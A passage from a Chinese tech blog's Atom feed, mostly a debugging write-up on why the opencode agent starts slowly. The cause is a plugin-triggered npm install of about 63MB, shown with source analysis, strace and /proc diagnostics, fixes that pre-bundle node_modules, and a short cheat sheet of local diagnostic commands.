&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结论：&lt;strong&gt;npm 下载两边都发生了，区别在于有没有 &lt;code&gt;waitForDependencies&lt;&#x2F;code&gt; 去等它。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-npm-install-nei-bu-luo-ji&quot;&gt;6. Npm.install() 内部逻辑&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;packages&#x2F;core&#x2F;src&#x2F;npm.ts:146-197&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;const install = Effect.fn(&amp;quot;Npm.install&amp;quot;)(function* (dir, input) {
  &amp;#x2F;&amp;#x2F; ① 可写检查：不可写 → 直接 return，fiber 立即完成
  const canWrite = yield* afs.access(dir, { writable: true })
    .pipe(Effect.as(true), Effect.orElseSucceed(() =&amp;gt; false))
  if (!canWrite) return

  &amp;#x2F;&amp;#x2F; ② node_modules 不存在 → 调用 @npmcli&amp;#x2F;arborist.reify() 安装
  if (!yield* afs.existsSafe(path.join(dir, &amp;quot;node_modules&amp;quot;))) {
    yield* reify({ add, dir })
    return
  }

  &amp;#x2F;&amp;#x2F; ③ 脏检：对比 package.json + package-lock.json
  &amp;#x2F;&amp;#x2F;    声明的依赖 vs 锁定的依赖，有缺失就 reify
  &amp;#x2F;&amp;#x2F;    都满足 → 跳过 (no-op)
  &amp;#x2F;&amp;#x2F; ...
})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;v1.17.12&lt;&#x2F;code&gt; 中脏检逻辑已经存在。真正的问题在于：容器或新环境中 &lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;&lt;&#x2F;code&gt; 没有任何 &lt;code&gt;node_modules&lt;&#x2F;code&gt;，流程会在第 ② 步（&lt;code&gt;node_modules&lt;&#x2F;code&gt; 不存在检测）就直接调用 &lt;code&gt;reify()&lt;&#x2F;code&gt;，根本走不到第 ③ 步的脏检。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-wan-zheng-lian-lu-tu&quot;&gt;7. 完整链路图&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;directories()
  │
  ├─ Global.Path.config       → &amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode
  ├─ afs.up(&amp;quot;.opencode&amp;quot;)      → cwd 往上的 .opencode&amp;#x2F;
  ├─ afs.up(&amp;quot;.opencode&amp;quot;,home) → ~&amp;#x2F;.opencode&amp;#x2F;
  └─ OPENCODE_CONFIG_DIR      → &amp;#x2F;agent-config (如果设了)
         │
         ▼ 对每个 dir
  ┌──────────────────────────────────┐
  │ npmSvc.install(dir, {            │
  │   add: [&amp;quot;@opencode-ai&amp;#x2F;plugin&amp;quot;]   │
  │ }).pipe(forkDetach)              │ ← 后台 fiber
  │                                  │
  │ deps.push(fiber)                 │ ← 收集引用
  │                                  │
  │ ConfigPlugin.load(dir)           │ ← 扫描 plugins&amp;#x2F;*.ts
  └──────────────────────────────────┘
         │
         ▼ 之后，plugin&amp;#x2F;index.ts
  ┌──────────────────────────────────┐
  │ if (plugins.length)              │
  │   waitForDependencies()          │ ← Fiber.join 所有 deps
  │   &amp;#x2F;&amp;#x2F; ↑ 阻塞直到 npm install 完成  │
  │                                  │
  │ PluginLoader.loadExternal(...)    │ ← import 插件
  └──────────────────────────────────┘
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;8-jie-jue-fang-an&quot;&gt;8. 解决方案&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;rang-arborist-ren-wei-yi-an-zhuang&quot;&gt;让 arborist 认为已安装&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;@npmcli&#x2F;arborist&lt;&#x2F;code&gt; 的 &lt;code&gt;reify()&lt;&#x2F;code&gt; 在以下条件满足时是 no-op（不联网）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;package.json&lt;&#x2F;code&gt; 中有 &lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;package-lock.json&lt;&#x2F;code&gt; 中锁定了对应版本&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;node_modules&#x2F;@opencode-ai&#x2F;plugin&#x2F;&lt;&#x2F;code&gt; 实际存在&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此只需为 &lt;code&gt;directories()&lt;&#x2F;code&gt; 返回的&lt;strong&gt;所有&lt;&#x2F;strong&gt;目录预置这三个条件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;for dir in &amp;#x2F;root&amp;#x2F;.config&amp;#x2F;opencode &amp;#x2F;root&amp;#x2F;.opencode &amp;#x2F;agent-config; do
  mkdir -p &amp;quot;$dir&amp;quot;
  cp &amp;#x2F;agent-config&amp;#x2F;package.json &amp;quot;$dir&amp;#x2F;&amp;quot;
  cp &amp;#x2F;agent-config&amp;#x2F;package-lock.json &amp;quot;$dir&amp;#x2F;&amp;quot;
  mkdir -p &amp;quot;$dir&amp;#x2F;node_modules&amp;#x2F;@opencode-ai&amp;quot;
  cp -a &amp;#x2F;agent-config&amp;#x2F;node_modules&amp;#x2F;@opencode-ai&amp;#x2F;plugin &amp;quot;$dir&amp;#x2F;node_modules&amp;#x2F;@opencode-ai&amp;#x2F;&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;&#x2F;agent-config&#x2F;&lt;&#x2F;code&gt; 本身已具备。其余目录补充后，&lt;code&gt;waitForDependencies()&lt;&#x2F;code&gt; 等待的所有 fiber 都能瞬间完成。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yuan-ma-ji-xiu-fu-opencode-fork&quot;&gt;源码级修复（opencode fork）&lt;&#x2F;h3&gt;
&lt;p&gt;在 &lt;code&gt;config.ts&lt;&#x2F;code&gt; 中添加前置判断，跳过无意义的安装：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ts&quot; class=&quot;language-ts &quot;&gt;&lt;code class=&quot;language-ts&quot; data-lang=&quot;ts&quot;&gt;&amp;#x2F;&amp;#x2F; 前置守卫：既没有 opencode.json* 也没有 plugins&amp;#x2F; → 跳过
const hasConfig = dir.endsWith(&amp;quot;.opencode&amp;quot;) || dir === Flag.OPENCODE_CONFIG_DIR
  || (yield* fs.existsSafe(path.join(dir, &amp;quot;opencode.json&amp;quot;)))
  || (yield* fs.existsSafe(path.join(dir, &amp;quot;opencode.jsonc&amp;quot;)))
const hasPlugins = (yield* fs.existsSafe(path.join(dir, &amp;quot;plugins&amp;quot;)))
  || (yield* fs.existsSafe(path.join(dir, &amp;quot;plugin&amp;quot;)))
if (!hasConfig &amp;amp;&amp;amp; !hasPlugins) continue
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配合 &lt;code&gt;npm.ts&lt;&#x2F;code&gt; 中的脏检逻辑（对比 &lt;code&gt;package-lock.json&lt;&#x2F;code&gt;），两个改动可彻底消除不必要的下载。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;实测验证&lt;&#x2F;strong&gt;：上述分析的每一项推断都在&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;07&#x2F;opencode-startup-trace-verification&#x2F;&quot;&gt;验证篇&lt;&#x2F;a&gt;中通过注入 &lt;code&gt;[TRACE]&lt;&#x2F;code&gt; 调试日志进行了逐帧还原。docker 无缓存环境下 &lt;code&gt;arborist.reify()&lt;&#x2F;code&gt; 耗时 18.6 秒，&lt;code&gt;waitForDependencies&lt;&#x2F;code&gt; 同步阻塞 18.6 秒。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;现象&lt;&#x2F;th&gt;&lt;th&gt;根因&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;空目录也触发 npm install&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;npmSvc.install()&lt;&#x2F;code&gt; 对所有 &lt;code&gt;directories()&lt;&#x2F;code&gt; 结果无条件调用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;设 &lt;code&gt;OPENCODE_CONFIG_DIR&lt;&#x2F;code&gt; 后变慢&lt;&#x2F;td&gt;&lt;td&gt;有插件 → &lt;code&gt;waitForDependencies&lt;&#x2F;code&gt; → &lt;code&gt;Fiber.join&lt;&#x2F;code&gt; 等 npm fiber&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;不设变量不慢&lt;&#x2F;td&gt;&lt;td&gt;无插件 → 不调用 &lt;code&gt;waitForDependencies&lt;&#x2F;code&gt; → npm 在后台无人等待&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;预置 node_modules 可跳过&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;arborist.reify()&lt;&#x2F;code&gt; 发现包已安装 → no-op&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>opencode 启动慢排查：plugin 触发 60MB npm 依赖下载</title>
        <published>2026-07-21T09:30:00+08:00</published>
        <updated>2026-07-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/opencode-plugin-slow-startup/"/>
        <id>https://vercel.juzhong.asia/2026/07/opencode-plugin-slow-startup/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/opencode-plugin-slow-startup/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;wfuzz agent --agent-config=wfuzz-utils,wfuzz-db&lt;&#x2F;code&gt; 执行后，opencode 长时间无响应。没有报错，没有 crash，进程在 &lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; 中显示为 S（sleeping）状态，CPU 低，但终端就是不动。&lt;&#x2F;p&gt;
&lt;p&gt;单独执行 opencode 也一样：只要设置了 &lt;code&gt;OPENCODE_CONFIG&lt;&#x2F;code&gt; 环境变量，启动就卡。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-yi-lun-pai-cha-yi-wei-shi-si-suo&quot;&gt;第一轮排查：以为是死锁&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;strace-kan-xi-tong-diao-yong&quot;&gt;strace 看系统调用&lt;&#x2F;h2&gt;
&lt;p&gt;用 &lt;code&gt;strace -f -p &amp;lt;pid&amp;gt;&lt;&#x2F;code&gt; 跟踪进程。主线程在 &lt;code&gt;epoll_wait&lt;&#x2F;code&gt; 上等待，worker 线程（40+ 个）全部卡在 &lt;code&gt;futex&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[pid 10] futex(..., FUTEX_WAIT_BITSET_PRIVATE, ...) = 0
[pid 11] futex(..., FUTEX_WAIT_BITSET_PRIVATE, ...) = 0
[pid 12] futex(..., FUTEX_WAKE_PRIVATE, 1) = 1
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Worker 线程在 work-stealing 模式下互相唤醒，但没有一个线程在做实际工作。strace 最后一行出现：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[pid 9] futex(...) = -1 ETIMEDOUT (Connection timed out)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看起来像是 Bun worker pool 在进行网络操作时超时，之后所有 worker 陷入 livelock —— 被不断唤醒但无事可做。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dui-bi-shi-yan&quot;&gt;对比实验&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;无 &lt;code&gt;OPENCODE_CONFIG&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;正常启动，TUI 渲染&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;OPENCODE_CONFIG&lt;&#x2F;code&gt; 指向 &lt;code&gt;{}&lt;&#x2F;code&gt; 空配置&lt;&#x2F;td&gt;&lt;td&gt;正常启动&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;OPENCODE_CONFIG&lt;&#x2F;code&gt; 指向含 &lt;code&gt;plugin&lt;&#x2F;code&gt; 字段的配置&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;卡住&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;最小插件（&lt;code&gt;return {}&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;卡住&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;--pure&lt;&#x2F;code&gt; 模式&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;卡住&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;serve&lt;&#x2F;code&gt; 模式（headless）&lt;&#x2F;td&gt;&lt;td&gt;终端不卡，但端口不监听、WebSocket 无响应&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;关键发现：&lt;strong&gt;只要配置中有 &lt;code&gt;&quot;plugin&quot;: [...]&lt;&#x2F;code&gt;，不论插件内容是什么，TUI 和 serve 模式都卡。&lt;&#x2F;strong&gt; 一度怀疑是 opencode 1.17.12 的 plugin 加载 bug。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;di-er-lun-pai-cha-zhao-dao-zhen-zheng-de-gen-yin&quot;&gt;第二轮排查：找到真正的根因&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;huan-guan-cha-jiao-du-wen-jian-xi-tong-wang-luo&quot;&gt;换观察角度：文件系统 + 网络&lt;&#x2F;h2&gt;
&lt;p&gt;回头检查 &lt;code&gt;&#x2F;root&#x2F;.npm&#x2F;_cacache&#x2F;&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ du -sh &amp;#x2F;root&amp;#x2F;.npm&amp;#x2F;
83M    &amp;#x2F;root&amp;#x2F;.npm&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;83M！进程并不是死锁，而是在&lt;strong&gt;下载 npm 包&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;再看 opencode 的文件描述符：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ ls -la &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;fd&amp;#x2F; | grep npm
l-wx------ 30 -&amp;gt; &amp;#x2F;root&amp;#x2F;.npm&amp;#x2F;_cacache&amp;#x2F;tmp&amp;#x2F;de55a9bf-...
lrwx------ 31 -&amp;gt; socket:[...]    # 连接 npm registry (Cloudflare 104.16.x.34)
lrwx------ 32 -&amp;gt; socket:[...]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;opencode 生成了 &lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;package.json&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;dependencies&amp;quot;: {
    &amp;quot;@opencode-ai&amp;#x2F;plugin&amp;quot;: &amp;quot;1.17.12&amp;quot;
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后自动调用 &lt;code&gt;@npmcli&#x2F;arborist.reify()&lt;&#x2F;code&gt; 安装依赖。&lt;code&gt;@opencode-ai&#x2F;plugin&lt;&#x2F;code&gt; 的依赖树非常大：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;@opencode-ai&amp;#x2F;plugin@1.17.12
├── effect@4.0.0-beta.83        ← 最大，带 12 个子依赖
│   ├── fast-check + pure-rand
│   ├── find-my-way-ts
│   ├── kubernetes-types
│   ├── msgpackr + msgpackr-extract (native .node 二进制)
│   ├── multipasta
│   ├── toml &amp;#x2F; uuid &amp;#x2F; yaml &amp;#x2F; ini
│   └── @standard-schema&amp;#x2F;spec
├── zod@4.1.8
├── @ai-sdk&amp;#x2F;provider@3.0.8
│   └── json-schema
└── @opencode-ai&amp;#x2F;sdk@1.17.12
    └── cross-spawn → path-key → shebang-command → which → isexe
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总共 27 个包，解压后 63MB。在容器环境中无 npm 缓存，下载需要数十秒到数分钟。期间 opencode 不监听端口、不响应 WebSocket、TUI 不渲染 —— 宏观表现就是&quot;卡死了&quot;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h2&gt;
&lt;p&gt;手动模拟 opencode 的行为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ echo &amp;#x27;{&amp;quot;dependencies&amp;quot;:{&amp;quot;@opencode-ai&amp;#x2F;plugin&amp;quot;:&amp;quot;1.17.12&amp;quot;}}&amp;#x27; &amp;gt; package.json
$ time npm install --production
added 27 packages in 51s
$ du -sh node_modules&amp;#x2F;
63M    node_modules&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;51 秒。这解释了为什么启动&quot;时快时慢&quot; —— 有缓存的机器几秒，无缓存的容器一分钟以上。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-zai-rong-qi-li-you-qi-yan-zhong&quot;&gt;为什么在容器里尤其严重&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;每次启动都是新容器，&lt;code&gt;&#x2F;root&#x2F;.npm&#x2F;&lt;&#x2F;code&gt; 和 &lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;&lt;&#x2F;code&gt; 都是空的&lt;&#x2F;li&gt;
&lt;li&gt;没有 Bun 的 package 缓存&lt;&#x2F;li&gt;
&lt;li&gt;npm registry 从容器网络访问可能更慢&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;平台侧虽然设置了 &lt;code&gt;OPENCODE_DISABLE_MODELS_FETCH=1&lt;&#x2F;code&gt;（跳过 AI 模型列表拉取），但这只影响 model fetching，不影响 plugin 系统的 npm 依赖安装（使用 &lt;code&gt;@npmcli&#x2F;arborist&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;fang-an-yi-qu-diao-plugin-zui-kuai&quot;&gt;方案一：去掉 plugin（最快）&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;opencode.jsonc&lt;&#x2F;code&gt; 中删除 &lt;code&gt;&quot;plugin&quot;&lt;&#x2F;code&gt; 字段。当前 &lt;code&gt;wfuzz-agent.ts&lt;&#x2F;code&gt; 主要是调试日志 hook，唯一有实际功能的 &lt;code&gt;experimental.chat.system.transform&lt;&#x2F;code&gt; opencode 原生就支持（自动读取 AGENTS.md）。后续如果需要 hook 功能再考虑其他注入方式。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-an-er-yu-zhuang-node-modules-bao-chi-plugin-ke-yong&quot;&gt;方案二：预装 node_modules（保持 plugin 可用）&lt;&#x2F;h2&gt;
&lt;p&gt;在构建时（&lt;code&gt;build.sh&lt;&#x2F;code&gt;）提前执行 &lt;code&gt;npm install&lt;&#x2F;code&gt;，把 63MB 的 &lt;code&gt;node_modules&#x2F;&lt;&#x2F;code&gt; 打进发布包。运行时由 &lt;code&gt;wfuzz-agent&lt;&#x2F;code&gt;（Rust 侧）在 exec opencode 之前把 &lt;code&gt;node_modules&lt;&#x2F;code&gt; + &lt;code&gt;package.json&lt;&#x2F;code&gt; 复制到 &lt;code&gt;~&#x2F;.config&#x2F;opencode&#x2F;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;构建流程改动（&lt;code&gt;build.sh&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 下载 opencode 后
OPENCODE_VERSION=$(&amp;quot;$BIN_DIR&amp;#x2F;opencode&amp;quot; --version)
cat &amp;gt; agent-config&amp;#x2F;package.json &amp;lt;&amp;lt;EOF
{&amp;quot;dependencies&amp;quot;:{&amp;quot;@opencode-ai&amp;#x2F;plugin&amp;quot;:&amp;quot;$OPENCODE_VERSION&amp;quot;}}
EOF
(cd agent-config &amp;amp;&amp;amp; npm install --production)
# → node_modules&amp;#x2F; 被打进发布包
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行时改动（&lt;code&gt;main.rs&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; exec opencode 之前
let src = bin_dir.parent().join(&amp;quot;agent-config&amp;#x2F;node_modules&amp;quot;);
let dst = PathBuf::from(env::var(&amp;quot;HOME&amp;quot;)?).join(&amp;quot;.config&amp;#x2F;opencode&amp;#x2F;node_modules&amp;quot;);
if src.exists() &amp;amp;&amp;amp; !dst.exists() {
    fs::create_dir_all(dst.parent())?;
    copy_dir_recursive(&amp;amp;src, &amp;amp;dst)?;
    fs::write(dst.parent().join(&amp;quot;package.json&amp;quot;), bundled_pkg_json)?;
}
&amp;#x2F;&amp;#x2F; opencode 启动时 bun install 发现 node_modules 已存在 → 跳过下载
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;复制 63MB 本地文件的耗时远小于网络下载（毫秒级 vs 几十秒），且不受网络环境、npm registry 可用性的影响。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;后续分析&lt;&#x2F;strong&gt;：&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;07&#x2F;opencode-npm-install-source-analysis&#x2F;&quot;&gt;源码分析篇&lt;&#x2F;a&gt; 深入了 &lt;code&gt;ConfigPaths.directories()&lt;&#x2F;code&gt;、&lt;code&gt;Npm.install()&lt;&#x2F;code&gt; 和 &lt;code&gt;waitForDependencies()&lt;&#x2F;code&gt; 的调用链，解释了为什么每个 &lt;code&gt;.opencode&lt;&#x2F;code&gt; 目录都会触发依赖安装。&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;07&#x2F;opencode-startup-trace-verification&#x2F;&quot;&gt;验证篇&lt;&#x2F;a&gt; 通过注入调试日志实测了完整耗时。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;fang-an-san-sheng-ji-opencode&quot;&gt;方案三：升级 opencode&lt;&#x2F;h2&gt;
&lt;p&gt;测试了 1.18.3 版本，行为完全一致。看起来这个机制是 opencode 设计如此 —— 有 plugin 就必须装依赖。只能从工程侧规避。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-fang-fa-lun-xiao-jie&quot;&gt;排查方法论小结&lt;&#x2F;h1&gt;
&lt;p&gt;这次排查犯了一个典型错误：看到 strace 输出 &lt;code&gt;futex&lt;&#x2F;code&gt; + &lt;code&gt;ETIMEDOUT&lt;&#x2F;code&gt; 就下了&quot;死锁&quot;的结论。实际是 Bun 的 worker pool 正常工作模式 —— 线程在等待 I&#x2F;O（npm 下载），被唤醒处理数据包，然后继续等待。livelock 只是假象。&lt;&#x2F;p&gt;
&lt;p&gt;教训：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;strace&lt;&#x2F;code&gt; 看系统调用只能告诉你进程在&quot;做什么类型的等待&quot;，不能直接告诉你&quot;在等什么&quot;&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;怀疑死锁前，先检查&lt;strong&gt;文件系统和网络&lt;&#x2F;strong&gt; —— 进程可能在静静地下载东西&lt;&#x2F;li&gt;
&lt;li&gt;对比实验是定位根因的最可靠手段 —— 控制变量（有无 plugin、有无 config）快速排除干扰因素&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;fd&#x2F;&lt;&#x2F;code&gt; 是看进程 IO 目标的第一手资料，比 strace 更直观&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;gong-ju-su-cha&quot;&gt;工具速查&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看进程打开的文件
ls -la &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;fd&amp;#x2F;

# 查看进程网络连接
ss -tnp | grep &amp;lt;pid&amp;gt;

# 查看 npm 缓存大小
du -sh ~&amp;#x2F;.npm&amp;#x2F;

# 查看 opencode 日志
cat ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;opencode&amp;#x2F;log&amp;#x2F;opencode.log

# 查看进程线程数和等待原因
ls &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;task&amp;#x2F; | wc -l
cat &amp;#x2F;proc&amp;#x2F;&amp;lt;pid&amp;gt;&amp;#x2F;wchan

# 测试 WebSocket 连通性（bash）
exec 3&amp;lt;&amp;gt;&amp;#x2F;dev&amp;#x2F;tcp&amp;#x2F;127.0.0.1&amp;#x2F;4096
echo -en &amp;quot;GET &amp;#x2F; HTTP&amp;#x2F;1.1\r\nHost: 127.0.0.1\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n&amp;quot; &amp;gt;&amp;amp;3
head -c 100 &amp;lt;&amp;amp;3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ELF 二进制分析与常用编译链接工具</title>
        <published>2026-07-18T00:00:00+08:00</published>
        <updated>2026-07-18T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/elf-二进制分析与编译链接工具/"/>
        <id>https://vercel.juzhong.asia/2026/07/elf-二进制分析与编译链接工具/</id>
        
        <summary type="html">&lt;p&gt;拿到一个陌生二进制，想知道它是怎么编译出来的？或者构建时遇到链接问题，需要快速定位？本文整理了 ELF 文件分析、编译选项提取以及常见链接器技巧。&lt;&#x2F;p&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux &#x2F;proc 文件系统详解</title>
        <published>2026-07-18T00:00:00+08:00</published>
        <updated>2026-07-18T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/linux-proc-文件系统详解/"/>
        <id>https://vercel.juzhong.asia/2026/07/linux-proc-文件系统详解/</id>
        
        <summary type="html">&lt;p&gt;&lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; 是一个伪文件系统（procfs），由内核动态生成，用于暴露系统运行状态。读取这些文件无需特殊工具，&lt;code&gt;cat&lt;&#x2F;code&gt; 即可——这也是排查问题最快的手段。&lt;&#x2F;p&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>systemd 资源控制：cgroup v2 配置与实践</title>
        <published>2026-07-18T00:00:00+08:00</published>
        <updated>2026-07-18T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
